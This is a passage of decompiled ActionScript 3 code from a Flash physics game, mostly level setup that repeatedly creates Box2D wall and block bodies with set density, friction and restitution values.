st_cl.start_bt.removeEventListener(MouseEvent.CLICK, pre_zagr_bt);
};
};
};
}
function frame40(){
cel = 3;
kol_cel = cel;
kol_hero = 22;
kol_hero_tx.text = ("x" + kol_hero.toString());
pos_hero_x = 195;
pos_hero_y = 380;
i = 1;
while (i <= 57) {
mas_balka.push(i);
mas_balka_giz.push(4);
i++;
};
locations = 20;
score_game = 0;
gro1 = new b2BodyDef();
gro1.position.Set((stena1.x / 30), (stena1.y / 30));
gro1.userData = stena1;
gro1_sh = new b2PolygonDef();
gro1_sh.SetAsBox(((stena1.width / 2) / 30), ((stena1.height / 2) / 30));
gro1_def = world.CreateBody(gro1);
gro1_def.CreateShape(gro1_sh);
gro1_def.SetMassFromShapes();
gro1_sh.density = 1;
gro2 = new b2BodyDef();
gro2.position.Set((stena2.x / 30), (stena2.y / 30));
gro2.userData = stena2;
gro2_sh = new b2PolygonDef();
gro2_sh.SetAsBox(((stena2.width / 2) / 30), ((stena2.height / 2) / 30));
gro2_def = world.CreateBody(gro2);
gro2_def.CreateShape(gro2_sh);
gro2_def.SetMassFromShapes();
gro2_sh.density = 1;
gro3 = new b2BodyDef();
gro3.position.Set((stena3.x / 30), (stena3.y / 30));
gro3.userData = stena3;
gro3_sh = new b2PolygonDef();
gro3_sh.SetAsBox(((stena3.width / 2) / 30), ((stena3.height / 2) / 30));
gro3_def = world.CreateBody(gro3);
gro3_def.CreateShape(gro3_sh);
gro3_def.SetMassFromShapes();
gro3_sh.density = 1;
gro4 = new b2BodyDef();
gro4.position.Set((stena4.x / 30), (stena4.y / 30));
gro4.userData = stena4;
gro4_sh = new b2PolygonDef();
gro4_sh.SetAsBox(((stena4.width / 2) / 30), ((stena4.height / 2) / 30));
gro4_def = world.CreateBody(gro4);
gro4_def.CreateShape(gro4_sh);
gro4_def.SetMassFromShapes();
gro4_sh.density = 1;
gro5 = new b2BodyDef();
gro5.position.Set((stena5.x / 30), (stena5.y / 30));
gro5.userData = stena5;
gro5_sh = new b2PolygonDef();
gro5_sh.SetAsBox(((stena5.width / 2) / 30), ((stena5.height / 2) / 30));
gro5_def = world.CreateBody(gro5);
gro5_def.CreateShape(gro5_sh);
gro5_def.SetMassFromShapes();
gro5_sh.density = 1;
gro6 = new b2BodyDef();
gro6.position.Set((stena6.x / 30), (stena6.y / 30));
gro6.userData = stena6;
gro6_sh = new b2PolygonDef();
gro6_sh.SetAsBox(((stena6.width / 2) / 30), ((stena6.height / 2) / 30));
gro6_def = world.CreateBody(gro6);
gro6_def.CreateShape(gro6_sh);
gro6_def.SetMassFromShapes();
gro6_sh.density = 1;
gro7 = new b2BodyDef();
gro7.position.Set((gro7_cl.x / 30), (gro7_cl.y / 30));
gro7.userData = gro7_cl;
gro7_sh = new b2PolygonDef();
gro7_sh.SetAsBox(((gro7_cl.width / 2) / 30), ((gro7_cl.height / 2) / 30));
gro7_def = world.CreateBody(gro7);
gro7_def.CreateShape(gro7_sh);
gro7_def.SetMassFromShapes();
gro7_sh.density = 1;
gro8 = new b2BodyDef();
gro8.position.Set((gro8_cl.x / 30), (gro8_cl.y / 30));
gro8.userData = gro8_cl;
gro8_sh = new b2PolygonDef();
gro8_sh.SetAsBox(((gro8_cl.width / 2) / 30), ((gro8_cl.height / 2) / 30));
gro8_def = world.CreateBody(gro8);
gro8_def.CreateShape(gro8_sh);
gro8_def.SetMassFromShapes();
gro8_sh.density = 1;
gro9 = new b2BodyDef();
gro9.position.Set((gro9_cl.x / 30), (gro9_cl.y / 30));
gro9.userData = gro9_cl;
gro9_sh = new b2PolygonDef();
gro9_sh.SetAsBox(((gro9_cl.width / 2) / 30), ((gro9_cl.height / 2) / 30));
gro9_def = world.CreateBody(gro9);
gro9_def.CreateShape(gro9_sh);
gro9_def.SetMassFromShapes();
gro9_sh.density = 1;
gro10 = new b2BodyDef();
gro10.position.Set((gro10_cl.x / 30), (gro10_cl.y / 30));
gro10.userData = gro10_cl;
gro10_sh = new b2PolygonDef();
gro10_sh.SetAsBox(((gro10_cl.width / 2) / 30), ((gro10_cl.height / 2) / 30));
gro10_def = world.CreateBody(gro10);
gro10_def.CreateShape(gro10_sh);
gro10_def.SetMassFromShapes();
gro10_sh.density = 1;
i = 1;
while (i <= 10) {
mas_ground.push(i);
i++;
};
dim1_def = new b2BodyDef();
dim1_sh = new b2PolygonDef();
dim1_def.position.Set((dim1_cl.x / 30), (dim1_cl.y / 30));
dim1_sh.SetAsBox(((dim1_cl.width / 2) / 30), ((dim1_cl.height / 2) / 30));
dim1_sh.density = 1;
dim1_sh.friction = 1;
dim1_sh.restitution = 0.1;
dim1_def.userData = dim1_cl;
dim1 = world.CreateBody(dim1_def);
dim1.CreateShape(dim1_sh);
dim1.SetMassFromShapes();
dim2_def = new b2BodyDef();
dim2_sh = new b2PolygonDef();
dim2_def.position.Set((dim2_cl.x / 30), (dim2_cl.y / 30));
dim2_sh.SetAsBox(((dim2_cl.width / 2) / 30), ((dim2_cl.height / 2) / 30));
dim2_def.userData = dim2_cl;
dim2_sh.density = 10;
dim2_sh.friction = 1;
dim2_sh.restitution = 0.1;
dim2 = world.CreateBody(dim2_def);
dim2.CreateShape(dim2_sh);
dim2.SetMassFromShapes();
dim3_def = new b2BodyDef();
dim3_sh = new b2PolygonDef();
dim3_def.position.Set((dim3_cl.x / 30), (dim3_cl.y / 30));
dim3_sh.SetAsBox(((dim3_cl.width / 2) / 30), ((dim3_cl.height / 2) / 30));
dim3_def.userData = dim3_cl;
dim3_sh.density = 10;
dim3_sh.friction = 1;
dim3_sh.restitution = 0.1;
dim3 = world.CreateBody(dim3_def);
dim3.CreateShape(dim3_sh);
dim3.SetMassFromShapes();
dim4_def = new b2BodyDef();
dim4_sh = new b2PolygonDef();
dim4_def.position.Set((dim4_cl.x / 30), (dim4_cl.y / 30));
dim4_sh.SetAsBox(((dim4_cl.width / 2) / 30), ((dim4_cl.height / 2) / 30));
dim4_def.userData = dim4_cl;
dim4_sh.density = 1;
dim4_sh.friction = 1;
dim4_sh.restitution = 0.1;
dim4 = world.CreateBody(dim4_def);
dim4.CreateShape(dim4_sh);
dim4.SetMassFromShapes();
dim5_def = new b2BodyDef();
dim5_sh = new b2PolygonDef();
dim5_def.position.Set((dim5_cl.x / 30), (dim5_cl.y / 30));
dim5_sh.SetAsBox(((dim5_cl.width / 2) / 30), ((dim5_cl.height / 2) / 30));
dim5_def.userData = dim5_cl;
dim5_sh.density = 1;
dim5_sh.friction = 1;
dim5_sh.restitution = 0.1;
dim5 = world.CreateBody(dim5_def);
dim5.CreateShape(dim5_sh);
dim5.SetMassFromShapes();
dim6_def = new b2BodyDef();
dim6_sh = new b2PolygonDef();
dim6_def.position.Set((dim6_cl.x / 30), (dim6_cl.y / 30));
dim6_sh.SetAsBox(((dim6_cl.width / 2) / 30), ((dim6_cl.height / 2) / 30));
dim6_def.userData = dim6_cl;
dim6_sh.density = 10;
dim6_sh.friction = 1;
dim6_sh.restitution = 0.1;
dim6 = world.CreateBody(dim6_def);
dim6.CreateShape(dim6_sh);
dim6.SetMassFromShapes();
dim7_def = new b2BodyDef();
dim7_sh = new b2PolygonDef();
dim7_def.position.Set((dim7_cl.x / 30), (dim7_cl.y / 30));
dim7_sh.SetAsBox(((dim7_cl.width / 2) / 30), ((dim7_cl.height / 2) / 30));
dim7_def.userData = dim7_cl;
dim7_sh.density = 10;
dim7_sh.friction = 1;
dim7_sh.restitution = 0.1;
dim7 = world.CreateBody(dim7_def);
dim7.CreateShape(dim7_sh);
dim7.SetMassFromShapes();
dim8_def = new b2BodyDef();
dim8_sh = new b2PolygonDef();
dim8_def.position.Set((dim8_cl.x / 30), (dim8_cl.y / 30));
dim8_sh.SetAsBox(((dim8_cl.width / 2) / 30), ((dim8_cl.height / 2) / 30));
dim8_def.userData = dim8_cl;
dim8_sh.density = 1;
dim8_sh.friction = 1;
dim8_sh.restitution = 0.1;
dim8 = world.CreateBody(dim8_def);
dim8.CreateShape(dim8_sh);
dim8.SetMassFromShapes();
dim9_def = new b2BodyDef();
dim9_sh = new b2PolygonDef();
dim9_def.position.Set((dim9_cl.x / 30), (dim9_cl.y / 30));
dim9_sh.SetAsBox(((dim9_cl.width / 2) / 30), ((dim9_cl.height / 2) / 30));
dim9_def.userData = dim9_cl;
dim9_sh.density = 1;
dim9_sh.friction = 1;
dim9_sh.restitution = 0.1;
dim9 = world.CreateBody(dim9_def);
dim9.CreateShape(dim9_sh);
dim9.SetMassFromShapes();
dim10_def = new b2BodyDef();
dim10_sh = new b2PolygonDef();
dim10_def.position.Set((dim10_cl.x / 30), (dim10_cl.y / 30));
dim10_sh.SetAsBox(((dim10_cl.width / 2) / 30), ((dim10_cl.height / 2) / 30));
dim10_def.userData = dim10_cl;
dim10_sh.density = 1;
dim10_sh.friction = 1;
dim10_sh.restitution = 0.1;
dim10 = world.CreateBody(dim10_def);
dim10.CreateShape(dim10_sh);
dim10.SetMassFromShapes();
dim11_def = new b2BodyDef();
dim11_sh = new b2PolygonDef();
dim11_def.position.Set((dim11_cl.x / 30), (dim11_cl.y / 30));
dim11_sh.SetAsBox(((dim11_cl.width / 2) / 30), ((dim11_cl.height / 2) / 30));
dim11_def.userData = dim11_cl;
dim11_sh.density = 12;
dim11_sh.friction = 1;
dim11_sh.restitution = 0.1;
dim11 = world.CreateBody(dim11_def);
dim11.CreateShape(dim11_sh);
dim11.SetMassFromShapes();
dim12_def = new b2BodyDef();
dim12_sh = new b2PolygonDef();
dim12_def.position.Set((dim12_cl.x / 30), (dim12_cl.y / 30));
dim12_sh.SetAsBox(((dim12_cl.width / 2) / 30), ((dim12_cl.height / 2) / 30));
dim12_def.userData = dim12_cl;
dim12_sh.density = 1;
dim12_sh.friction = 1;
dim12_sh.restitution = 0.1;
dim12 = world.CreateBody(dim12_def);
dim12.CreateShape(dim12_sh);
dim12.SetMassFromShapes();
dim13_def = new b2BodyDef();
dim13_sh = new b2PolygonDef();
dim13_def.position.Set((dim13_cl.x / 30), (dim13_cl.y / 30));
dim13_sh.SetAsBox(((dim13_cl.width / 2) / 30), ((dim13_cl.height / 2) / 30));
dim13_def.userData = dim13_cl;
dim13_sh.density = 1;
dim13_sh.friction = 1;
dim13_sh.restitution = 0.1;
dim13 = world.CreateBody(dim13_def);
dim13.CreateShape(dim13_sh);
dim13.SetMassFromShapes();
dim14_def = new b2BodyDef();
dim14_sh = new b2PolygonDef();
dim14_def.position.Set((dim14_cl.x / 30), (dim14_cl.y / 30));
dim14_sh.SetAsBox(((dim14_cl.width / 2) / 30), ((dim14_cl.height / 2) / 30));
dim14_def.userData = dim14_cl;
dim14_sh.density = 1;
dim14_sh.friction = 1;
dim14_sh.restitution = 0.1;
dim14 = world.CreateBody(dim14_def);
dim14.CreateShape(dim14_sh);
dim14.SetMassFromShapes();
dim15_def = new b2BodyDef();
dim15_sh = new b2PolygonDef();
dim15_def.position.Set((dim15_cl.x / 30), (dim15_cl.y / 30));
dim15_sh.SetAsBox(((dim15_cl.width / 2) / 30), ((dim15_cl.height / 2) / 30));
dim15_def.userData = dim15_cl;
dim15_sh.density = 1;
dim15_sh.friction = 1;
dim15_sh.restitution = 0.1;
dim15 = world.CreateBody(dim15_def);
dim15.CreateShape(dim15_sh);
dim15.SetMassFromShapes();
dim16_def = new b2BodyDef();
dim16_sh = new b2PolygonDef();
dim16_def.position.Set((dim16_cl.x / 30), (dim16_cl.y / 30));
dim16_sh.SetAsBox(((dim16_cl.width / 2) / 30), ((dim16_cl.height / 2) / 30));
dim16_def.userData = dim16_cl;
dim16_sh.density = 1;
dim16_sh.friction = 1;
dim16_sh.restitution = 0.1;
dim16 = world.CreateBody(dim16_def);
dim16.CreateShape(dim16_sh);
dim16.SetMassFromShapes();
dim17_def = new b2BodyDef();
dim17_sh = new b2PolygonDef();
dim17_def.position.Set((dim17_cl.x / 30), (dim17_cl.y / 30));
dim17_sh.SetAsBox(((dim17_cl.width / 2) / 30), ((dim17_cl.height / 2) / 30));
dim17_def.userData = dim17_cl;
dim17_sh.density = 1;
dim17_sh.friction = 1;
dim17_sh.restitution = 0.1;
dim17 = world.CreateBody(dim17_def);
dim17.CreateShape(dim17_sh);
dim17.SetMassFromShapes();
dim18_def = new b2BodyDef();
dim18_sh = new b2PolygonDef();
dim18_def.position.Set((dim18_cl.x / 30), (dim18_cl.y / 30));
dim18_sh.SetAsBox(((dim18_cl.width / 2) / 30), ((dim18_cl.height / 2) / 30));
dim18_def.userData = dim18_cl;
dim18_sh.density = 1;
dim18_sh.friction = 1;
dim18_sh.restitution = 0.1;
dim18 = world.CreateBody(dim18_def);
dim18.CreateShape(dim18_sh);
dim18.SetMassFromShapes();
dim19_def = new b2BodyDef();
dim19_sh = new b2PolygonDef();
dim19_def.position.Set((dim19_cl.x / 30), (dim19_cl.y / 30));
dim19_sh.SetAsBox(((dim19_cl.width / 2) / 30), ((dim19_cl.height / 2) / 30));
dim19_def.userData = dim19_cl;
dim19_sh.density = 1;
dim19_sh.friction = 1;
dim19_sh.restitution = 0.1;
dim19 = world.CreateBody(dim19_def);
dim19.CreateShape(dim19_sh);
dim19.SetMassFromShapes();
dim20_def = new b2BodyDef();
dim20_sh = new b2PolygonDef();
dim20_def.position.Set((dim20_cl.x / 30), (dim20_cl.y / 30));
dim20_sh.SetAsBox(((dim20_cl.width / 2) / 30), ((dim20_cl.height / 2) / 30));
dim20_def.userData = dim20_cl;
dim20_sh.density = 1;
dim20_sh.friction = 1;
dim20_sh.restitution = 0.1;
dim20 = world.CreateBody(dim20_def);
dim20.CreateShape(dim20_sh);
dim20.SetMassFromShapes();
dim21_def = new b2BodyDef();
dim21_sh = new b2PolygonDef();
dim21_def.position.Set((dim21_cl.x / 30), (dim21_cl.y / 30));
dim21_sh.SetAsBox(((dim21_cl.width / 2) / 30), ((dim21_cl.height / 2) / 30));
dim21_def.userData = dim21_cl;
dim21_sh.density = 1;
dim21_sh.friction = 1;
dim21_sh.restitution = 0.1;
dim21 = world.CreateBody(dim21_def);
dim21.CreateShape(dim21_sh);
dim21.SetMassFromShapes();
dim22_def = new b2BodyDef();
dim22_sh = new b2PolygonDef();
dim22_def.position.Set((dim22_cl.x / 30), (dim22_cl.y / 30));
dim22_sh.SetAsBox(((dim22_cl.width / 2) / 30), ((dim22_cl.height / 2) / 30));
dim22_def.userData = dim22_cl;
dim22_sh.density = 1;
dim22_sh.friction = 1;
dim22_sh.restitution = 0.1;
dim22 = world.CreateBody(dim22_def);
dim22.CreateShape(dim22_sh);
dim22.SetMassFromShapes();
dim23_def = new b2BodyDef();
dim23_sh = new b2PolygonDef();
dim23_def.position.Set((dim23_cl.x / 30), (dim23_cl.y / 30));
dim23_sh.SetAsBox(((dim23_cl.width / 2) / 30), ((dim23_cl.height / 2) / 30));
dim23_def.userData = dim23_cl;
dim23_sh.density = 1;
dim23_sh.friction = 1;
dim23_sh.restitution = 0.1;
dim23 = world.CreateBody(dim23_def);
dim23.CreateShape(dim23_sh);
dim23.SetMassFromShapes();
dim24_def = new b2BodyDef();
dim24_sh = new b2PolygonDef();
dim24_def.position.Set((dim24_cl.x / 30), (dim24_cl.y / 30));
dim24_sh.SetAsBox(((dim24_cl.width / 2) / 30), ((dim24_cl.height / 2) / 30));
dim24_def.userData = dim24_cl;
dim24_sh.density = 1;
dim24_sh.friction = 1;
dim24_sh.restitution = 0.1;
dim24 = world.CreateBody(dim24_def);
dim24.CreateShape(dim24_sh);
dim24.SetMassFromShapes();
dim25_def = new b2BodyDef();
dim25_sh = new b2PolygonDef();
dim25_def.position.Set((dim25_cl.x / 30), (dim25_cl.y / 30));
dim25_sh.SetAsBox(((dim25_cl.width / 2) / 30), ((dim25_cl.height / 2) / 30));
dim25_def.userData = dim25_cl;
dim25_sh.density = 1;
dim25_sh.friction = 1;
dim25_sh.restitution = 0.1;
dim25 = world.CreateBody(dim25_def);
dim25.CreateShape(dim25_sh);
dim25.SetMassFromShapes();
dim26_def = new b2BodyDef();
dim26_sh = new b2PolygonDef();
dim26_def.position.Set((dim26_cl.x / 30), (dim26_cl.y / 30));
dim26_sh.SetAsBox(((dim26_cl.width / 2) / 30), ((dim26_cl.height / 2) / 30));
dim26_def.userData = dim26_cl;
dim26_sh.density = 1;
dim26_sh.friction = 1;
dim26_sh.restitution = 0.1;
dim26 = world.CreateBody(dim26_def);
dim26.CreateShape(dim26_sh);
dim26.SetMassFromShapes();
dim27_def = new b2BodyDef();
dim27_sh = new b2PolygonDef();
dim27_def.position.Set((dim27_cl.x / 30), (dim27_cl.y / 30));
dim27_sh.SetAsBox(((dim27_cl.width / 2) / 30), ((dim27_cl.height / 2) / 30));
dim27_def.userData = dim27_cl;
dim27_sh.density = 1;
dim27_sh.friction = 1;
dim27_sh.restitution = 0.1;
dim27 = world.CreateBody(dim27_def);
dim27.CreateShape(dim27_sh);
dim27.SetMassFromShapes();
dim28_def = new b2BodyDef();
dim28_sh = new b2PolygonDef();
dim28_def.position.Set((dim28_cl.x / 30), (dim28_cl.y / 30));
dim28_sh.SetAsBox(((dim28_cl.width / 2) / 30), ((dim28_cl.height / 2) / 30));
dim28_def.userData = dim28_cl;
dim28_sh.density = 1;
dim28_sh.friction = 1;
dim28_sh.restitution = 0.1;
dim28 = world.CreateBody(dim28_def);
dim28.CreateShape(dim28_sh);
dim28.SetMassFromShapes();
dim29_def = new b2BodyDef();
dim29_sh = new b2PolygonDef();
dim29_def.position.Set((dim29_cl.x / 30), (dim29_cl.y / 30));
dim29_sh.SetAsBox(((dim29_cl.width / 2) / 30), ((dim29_cl.height / 2) / 30));
dim29_def.userData = dim29_cl;
dim29_sh.density = 1;
dim29_sh.friction = 1;
dim29_sh.restitution = 0.1;
dim29 = world.CreateBody(dim29_def);
dim29.CreateShape(dim29_sh);
dim29.SetMassFromShapes();
dim30_def = new b2BodyDef();
dim30_sh = new b2PolygonDef();
dim30_def.position.Set((dim30_cl.x / 30), (dim30_cl.y / 30));
dim30_sh.SetAsBox(((dim30_cl.width / 2) / 30), ((dim30_cl.height / 2) / 30));
dim30_def.userData = dim30_cl;
dim30_sh.density = 1;
dim30_sh.friction = 1;
dim30_sh.restitution = 0.1;
dim30 = world.CreateBody(dim30_def);
dim30.CreateShape(dim30_sh);
dim30.SetMassFromShapes();
dim31_def = new b2BodyDef();
dim31_sh = new b2PolygonDef();
dim31_def.position.Set((dim31_cl.x / 30), (dim31_cl.y / 30));
dim31_sh.SetAsBox(((dim31_cl.width / 2) / 30), ((dim31_cl.height / 2) / 30));
dim31_def.userData = dim31_cl;
dim31_sh.density = 1;
dim31_sh.friction = 1;
dim31_sh.restitution = 0.1;
dim31 = world.CreateBody(dim31_def);
dim31.CreateShape(dim31_sh);
dim31.SetMassFromShapes();
dim32_def = new b2BodyDef();
dim32_sh = new b2PolygonDef();
dim32_def.position.Set((dim32_cl.x / 30), (dim32_cl.y / 30));
dim32_sh.SetAsBox(((dim32_cl.width / 2) / 30), ((dim32_cl.height / 2) / 30));
dim32_def.userData = dim32_cl;
dim32_sh.density = 1;
dim32_sh.friction = 1;
dim32_sh.restitution = 0.1;
dim32 = world.CreateBody(dim32_def);
dim32.CreateShape(dim32_sh);
dim32.SetMassFromShapes();
dim33_def = new b2BodyDef();
dim33_sh = new b2PolygonDef();
dim33_def.position.Set((dim33_cl.x / 30), (dim33_cl.y / 30));
dim33_sh.SetAsBox(((dim33_cl.width / 2) / 30), ((dim33_cl.height / 2) / 30));
dim33_def.userData = dim33_cl;
dim33_sh.density = 1;
dim33_sh.friction = 1;
dim33_sh.restitution = 0.1;
dim33 = world.CreateBody(dim33_def);
dim33.CreateShape(dim33_sh);
dim33.SetMassFromShapes();
dim34_def = new b2BodyDef();
dim34_sh = new b2PolygonDef();
dim34_def.position.Set((dim34_cl.x / 30), (dim34_cl.y / 30));
dim34_sh.SetAsBox(((dim34_cl.width / 2) / 30), ((dim34_cl.height / 2) / 30));
dim34_def.userData = dim34_cl;
dim34_sh.density = 1;
dim34_sh.friction = 1;
dim34_sh.restitution = 0.1;
dim34 = world.CreateBody(dim34_def);
dim34.CreateShape(dim34_sh);
dim34.SetMassFromShapes();
dim35_def = new b2BodyDef();
dim35_sh = new b2PolygonDef();
dim35_def.position.Set((dim35_cl.x / 30), (dim35_cl.y / 30));
dim35_sh.SetAsBox(((dim35_cl.width / 2) / 30), ((dim35_cl.height / 2) / 30));
dim35_def.userData = dim35_cl;
dim35_sh.density = 1;
dim35_sh.friction = 1;
dim35_sh.restitution = 0.1;
dim35 = world.CreateBody(dim35_def);
dim35.CreateShape(dim35_sh);
dim35.SetMassFromShapes();
dim36_def = new b2BodyDef();
dim36_sh = new b2PolygonDef();
dim36_def.position.Set((dim36_cl.x / 30), (dim36_cl.y / 30));
dim36_sh.SetAsBox(((dim36_cl.width / 2) / 30), ((dim36_cl.height / 2) / 30));
dim36_def.userData = dim36_cl;
dim36_sh.density = 10;
dim36_sh.friction = 1;
dim36_sh.restitution = 0.1;
dim36 = world.CreateBody(dim36_def);
dim36.CreateShape(dim36_sh);
dim36.SetMassFromShapes();
dim37_def = new b2BodyDef();
dim37_sh = new b2PolygonDef();
dim37_def.position.Set((dim37_cl.x / 30), (dim37_cl.y / 30));
dim37_sh.SetAsBox(((dim37_cl.width / 2) / 30), ((dim37_cl.height / 2) / 30));
dim37_def.userData = dim37_cl;
dim37_sh.density = 10;
dim37_sh.friction = 1;
dim37_sh.restitution = 0.1;
dim37 = world.CreateBody(dim37_def);
dim37.CreateShape(dim37_sh);
dim37.SetMassFromShapes();
dim38_def = new b2BodyDef();
dim38_sh = new b2PolygonDef();
dim38_def.position.Set((dim38_cl.x / 30), (dim38_cl.y / 30));
dim38_sh.SetAsBox(((dim38_cl.width / 2) / 30), ((dim38_cl.height / 2) / 30));
dim38_def.userData = dim38_cl;
dim38_sh.density = 10;
dim38_sh.friction = 1;
dim38_sh.restitution = 0.1;
dim38 = world.CreateBody(dim38_def);
dim38.CreateShape(dim38_sh);
dim38.SetMassFromShapes();
dim39_def = new b2BodyDef();
dim39_sh = new b2PolygonDef();
dim39_def.position.Set((dim39_cl.x / 30), (dim39_cl.y / 30));
dim39_sh.SetAsBox(((dim39_cl.width / 2) / 30), ((dim39_cl.height / 2) / 30));
dim39_def.userData = dim39_cl;
dim39_sh.density = 10;
dim39_sh.friction = 1;
dim39_sh.restitution = 0.1;
dim39 = world.CreateBody(dim39_def);
dim39.CreateShape(dim39_sh);
dim39.SetMassFromShapes();
dim40_def = new b2BodyDef();
dim40_sh = new b2PolygonDef();
dim40_def.position.Set((dim40_cl.x / 30), (dim40_cl.y / 30));
dim40_sh.SetAsBox(((dim40_cl.width / 2) / 30), ((dim40_cl.height / 2) / 30));
dim40_def.userData = dim40_cl;
dim40_sh.density = 10;
dim40_sh.friction = 1;
dim40_sh.restitution = 0.1;
dim40 = world.CreateBody(dim40_def);
dim40.CreateShape(dim40_sh);
dim40.SetMassFromShapes();
dim41_def = new b2BodyDef();
dim41_sh = new b2PolygonDef();
dim41_def.position.Set((dim41_cl.x / 30), (dim41_cl.y / 30));
dim41_sh.SetAsBox(((dim41_cl.width / 2) / 30), ((dim41_cl.height / 2) / 30));
dim41_def.userData = dim41_cl;
dim41_sh.density = 10;
dim41_sh.friction = 1;
dim41_sh.restitution = 0.1;
dim41 = world.CreateBody(dim41_def);
dim41.CreateShape(dim41_sh);
dim41.SetMassFromShapes();
dim42_def = new b2BodyDef();
dim42_sh = new b2PolygonDef();
dim42_def.position.Set((dim42_cl.x / 30), (dim42_cl.y / 30));
dim42_sh.SetAsBox(((dim42_cl.width / 2) / 30), ((dim42_cl.height / 2) / 30));
dim42_def.userData = dim42_cl;
dim42_sh.density = 10;
dim42_sh.friction = 1;
dim42_sh.restitution = 0.1;
dim42 = world.CreateBody(dim42_def);
dim42.CreateShape(dim42_sh);
dim42.SetMassFromShapes();
dim43_def = new b2BodyDef();
dim43_sh = new b2PolygonDef();
dim43_def.position.Set((dim43_cl.x / 30), (dim43_cl.y / 30));
dim43_sh.SetAsBox(((dim43_cl.width / 2) / 30), ((dim43_cl.height / 2) / 30));
dim43_def.userData = dim43_cl;
dim43_sh.density = 10;
dim43_sh.friction = 1;
dim43_sh.restitution = 0.1;
dim43 = world.CreateBody(dim43_def);
dim43.CreateShape(dim43_sh);
dim43.SetMassFromShapes();
dim44_def = new b2BodyDef();
dim44_sh = new b2PolygonDef();
dim44_def.position.Set((dim44_cl.x / 30), (dim44_cl.y / 30));
dim44_sh.SetAsBox(((dim44_cl.width / 2) / 30), ((dim44_cl.height / 2) / 30));
dim44_def.userData = dim44_cl;
dim44_sh.density = 10;
dim44_sh.friction = 1;
dim44_sh.restitution = 0.1;
dim44 = world.CreateBody(dim44_def);
dim44.CreateShape(dim44_sh);
dim44.SetMassFromShapes();
dim45_def = new b2BodyDef();
dim45_sh = new b2PolygonDef();
dim45_def.position.Set((dim45_cl.x / 30), (dim45_cl.y / 30));
dim45_sh.SetAsBox(((dim45_cl.width / 2) / 30), ((dim45_cl.height / 2) / 30));
dim45_def.userData = dim45_cl;
dim45_sh.density = 10;
dim45_sh.friction = 1;
dim45_sh.restitution = 0.1;
dim45 = world.CreateBody(dim45_def);
dim45.CreateShape(dim45_sh);
dim45.SetMassFromShapes();
dim46_def = new b2BodyDef();
dim46_sh = new b2PolygonDef();
dim46_def.position.Set((dim46_cl.x / 30), (dim46_cl.y / 30));
dim46_sh.SetAsBox(((dim46_cl.width / 2) / 30), ((dim46_cl.height / 2) / 30));
dim46_def.userData = dim46_cl;
dim46_sh.density = 10;
dim46_sh.friction = 1;
dim46_sh.restitution = 0.1;
dim46 = world.CreateBody(dim46_def);
dim46.CreateShape(dim46_sh);
dim46.SetMassFromShapes();
dim47_def = new b2BodyDef();
dim47_sh = new b2PolygonDef();
dim47_def.position.Set((dim47_cl.x / 30), (dim47_cl.y / 30));
dim47_sh.SetAsBox(((dim47_cl.width / 2) / 30), ((dim47_cl.height / 2) / 30));
dim47_def.userData = dim47_cl;
dim47_sh.density = 10;
dim47_sh.friction = 1;
dim47_sh.restitution = 0.1;
dim47 = world.CreateBody(dim47_def);
dim47.CreateShape(dim47_sh);
dim47.SetMassFromShapes();
dim48_def = new b2BodyDef();
dim48_sh = new b2PolygonDef();
dim48_def.position.Set((dim48_cl.x / 30), (dim48_cl.y / 30));
dim48_sh.SetAsBox(((dim48_cl.width / 2) / 30), ((dim48_cl.height / 2) / 30));
dim48_def.userData = dim48_cl;
dim48_sh.density = 10;
dim48_sh.friction = 1;
dim48_sh.restitution = 0.1;
dim48 = world.CreateBody(dim48_def);
dim48.CreateShape(dim48_sh);
dim48.SetMassFromShapes();
dim49_def = new b2BodyDef();
dim49_sh = new b2PolygonDef();
dim49_def.position.Set((dim49_cl.x / 30), (dim49_cl.y / 30));
dim49_sh.SetAsBox(((dim49_cl.width / 2) / 30), ((dim49_cl.height / 2) / 30));
dim49_def.userData = dim49_cl;
dim49_sh.density = 10;
dim49_sh.friction = 1;
dim49_sh.restitution = 0.1;
dim49 = world.CreateBody(dim49_def);
dim49.CreateShape(dim49_sh);
dim49.SetMassFromShapes();
dim50_def = new b2BodyDef();
dim50_sh = new b2PolygonDef();
dim50_def.position.Set((dim50_cl.x / 30), (dim50_cl.y / 30));
dim50_sh.SetAsBox(((dim50_cl.width / 2) / 30), ((dim50_cl.height / 2) / 30));
dim50_def.userData = dim50_cl;
dim50_sh.density = 10;
dim50_sh.friction = 1;
dim50_sh.restitution = 0.1;
dim50 = world.CreateBody(dim50_def);
dim50.CreateShape(dim50_sh);
dim50.SetMassFromShapes();
dim51_def = new b2BodyDef();
dim51_sh = new b2PolygonDef();
dim51_def.position.Set((dim51_cl.x / 30), (dim51_cl.y / 30));
dim51_sh.SetAsBox(((dim51_cl.width / 2) / 30), ((dim51_cl.height / 2) / 30));
dim51_def.userData = dim51_cl;
dim51_sh.density = 10;
dim51_sh.friction = 1;
dim51_sh.restitution = 0.1;
dim51 = world.CreateBody(dim51_def);
dim51.CreateShape(dim51_sh);
dim51.SetMassFromShapes();
dim52_def = new b2BodyDef();
dim52_sh = new b2PolygonDef();
dim52_def.position.Set((dim52_cl.x / 30), (dim52_cl.y / 30));
dim52_sh.SetAsBox(((dim52_cl.width / 2) / 30), ((dim52_cl.height / 2) / 30));
dim52_def.userData = dim52_cl;
dim52_sh.density = 10;
dim52_sh.friction = 1;
dim52_sh.restitution = 0.1;
dim52 = world.CreateBody(dim52_def);
dim52.CreateShape(dim52_sh);
dim52.SetMassFromShapes();
dim53_def = new b2BodyDef();
dim53_sh = new b2PolygonDef();
dim53_def.position.Set((dim53_cl.x / 30), (dim53_cl.y / 30));
dim53_sh.SetAsBox(((dim53_cl.width / 2) / 30), ((dim53_cl.height / 2) / 30));
dim53_def.userData = dim53_cl;
dim53_sh.density = 10;
dim53_sh.friction = 1;
dim53_sh.restitution = 0.1;
dim53 = world.CreateBody(dim53_def);
dim53.CreateShape(dim53_sh);
dim53.SetMassFromShapes();
dim54_def = new b2BodyDef();
dim54_sh = new b2PolygonDef();
dim54_def.position.Set((dim54_cl.x / 30), (dim54_cl.y / 30));
dim54_sh.SetAsBox(((dim54_cl.width / 2) / 30), ((dim54_cl.height / 2) / 30));
dim54_def.userData = dim54_cl;
dim54_sh.density = 10;
dim54_sh.friction = 1;
dim54_sh.restitution = 0.1;
dim54 = world.CreateBody(dim54_def);
dim54.CreateShape(dim54_sh);
dim54.SetMassFromShapes();
dim55_def = new b2BodyDef();
dim55_sh = new b2PolygonDef();
dim55_def.position.Set((dim55_cl.x / 30), (dim55_cl.y / 30));
dim55_sh.SetAsBox(((dim55_cl.width / 2) / 30), ((dim55_cl.height / 2) / 30));
dim55_def.userData = dim55_cl;
dim55_sh.density = 10;
